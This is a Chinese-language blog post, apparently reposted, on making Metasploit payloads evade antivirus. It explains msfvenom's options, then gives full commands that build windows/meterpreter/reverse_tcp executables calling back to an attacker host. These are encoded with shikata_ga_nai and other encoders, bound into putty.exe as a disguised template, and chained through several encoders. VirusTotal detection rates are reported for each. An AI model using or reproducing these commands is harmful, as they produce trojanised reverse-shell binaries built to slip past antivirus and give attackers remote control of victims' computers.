msf自免杀

今天大致把远控免杀的文章看了一遍,前面的几篇基本去实现了一遍,后面的直到第26篇全是讲解工具的,大致浏览了一遍,但是没有一一实现啦!

本文转载于:msf自免杀(VT免杀率35/69)

关于工具篇可以查看:远控免杀从入门到实现–工具总结篇

文章目录

      • 1、专业术语
      • 2、msfvenom指令
      • 3、免杀之旅
        • (1)、未作处理的payload(查杀率57/72)
        • (2)、msf自编码处理(查杀率57/72)
        • (3)、msf自捆绑免杀(查杀率39/71)
        • (4)、msf自捆绑+编码(查杀率40/72)
        • (5)、msfvenom多重编码(44/72)

1、专业术语

PS:这个先举例一下啦,具体的后期一定补上。

  1. 渗透攻击(Exploit)
  2. 攻击载荷(Payload)
  3. Shellcode
  4. 模块(Module)
  5. 监听器(Listener)

2、msfvenom指令

msfvenom集成了msfpayload和msfencode,2015年之后移除了后两项。再按照某些教程输后两个命令是不行的。

让我们看一下此列表中一些最重要的选项。
-p指定我们要使用的Metasploit有效负载
-e指定我们要使用的编码器
-a指定我们要使用的体系结构(默认为x86)
-s指定有效载荷的最大大小
-i指定用于编码有效载荷的迭代次数 ,即编码次数
-x指定一个自定义可执行文件用作模板 ,即绑定一个外部可执行文件,例如 -x putty.exe
-f 告诉MSF编码器输出格式为XXX。例如:-f exe:则告诉编码器文件格式为EXE。

全部命令:
参考链接:https://www.jianshu.com/p/204874fea1d3

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads 
    # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
        --payload-options            List the payload's standard options 
    # 列出指定 Payload 的标准可选配置项
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all 
    # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload 
    # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
    -f, --format        <format>     Output format (use --help-formats for a list) 
    # 指定 Payload 的输出格式
        --help-formats               List available formats 
    # 列出所有可用的输出格式
    -e, --encoder       <encoder>    The encoder to use 
    # 指定使用的 Encoder
    -a, --arch          <arch>       The architecture to use 
    # 指定目标系统架构
        --platform      <platform>   The platform of the payload 
    # 指定目标系统平台
        --help-platforms             List available platforms 
    # 列出可用的平台
    -s, --space         <length>     The maximum size of the resulting payload 
    # 设置未经编码的 Payload 的最大长度
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value) 
    # 编码后的 Payload 的最大长度
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff' 
    # 设置需要在 Payload 中避免出现的字符
    -i, --iterations    <count>      The number of times to encode the payload 
    # 设置 Payload 的编码次数
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include 
    # 指定包含一个额外的win32 shellcode文件
    -x, --template      <path>       Specify a custom executable file to use as a template 
    # 指定一个特定的可执行文件作为模板
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread 
    # 保护模板程序的功能,注入的payload作为一个新的进程运行
    -o, --out           <path>       Save the payload 
    # 保存 Payload 到文件
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats 
    # 指定一个变量名
    #(译者注:当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码
    # 追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
        --smallest                   Generate the smallest possible payload 
    # 尽可能生成最短的 Payload
    -h, --help                       Show this message 
    # 帮助
    

–list可以列出所有的XXX,例如 msfvenom --list encoders 可以查看所有的编码器。可以用此命令查看的还有 payloads,encoders,nops,platforms,archs,encrypt,formats。

3、免杀之旅

(1)、未作处理的payload(查杀率57/72)

在此我们使用 windows/meterpreter/reverse_tcp生成一个原始的payload的exe文件。

msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -f exe -o payload1.exe

在virustotal.com上的查杀率位 57/72,额,百分之九十以上了。

msf自免杀_第1张图片

(2)、msf自编码处理(查杀率57/72)

我们可以使用msfvenom --list encoders 查看所有的编码器。
msf自免杀_第2张图片

由图可见 cmd/powershell_base64 和 x86/shikata_ga_nai 为两个平级最高的encoder。

在此,我们使用 x86/shikata_ga_nai 生成 payload 。如下,参数 -i 为编码的次数,参数 -b 为避免出现的字符,即当出现此字符时,将会自动转化成其他字符。

msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o payload2.exe

这个payload在virustotal.com上的查杀率依旧为 57/72。

由于 x86/shikata_ga_nai 编码技术是多态的,也就是说每次生成的payload文件都会不一样,因此有时可被查杀有时又不会。另外查杀率也和编码次数有关,但是并不是说编码次数越多越好,超过一定的次数便容易出错。

(3)、msf自捆绑免杀(查杀率39/71)

在此,我们将生成payload绑定在指定的模板上,这里为putty.exe。
payload命令如下:

msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -x putty.exe -f exe -o payload3.exe

此时,在VT上面的查杀率为 39/71,降低了不少。

msf自免杀_第3张图片

(4)、msf自捆绑+编码(查杀率40/72)

将上面的2和3方法结合在一起。

此时,我们的payload为:

msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe

在VT上面,查杀率为40/72.
msf自免杀_第4张图片

(5)、msfvenom多重编码(44/72)

在此,我们通过管道,让msfvenom用不同的编码器对payload反复编码。

生成的payload为:(收到加了换行,便于观看,执行时不需要哦。)

msfvenom  -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.164.*** LPORT=3333 -f raw 
| msfvenom -e x86/alpha_upper -i 10 -f raw 
| msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe

这个只是一个,相对来说,这种的编码姿势有很多。例如:(收到加了换行,便于观看,执行时不需要哦。)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.164.*** LPORT=5110 -f raw 
| msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw 
| msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw 
| msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe

在VT上面查杀率为 44/72。
msf自免杀_第5张图片

你可能感兴趣的:(杂记--安全)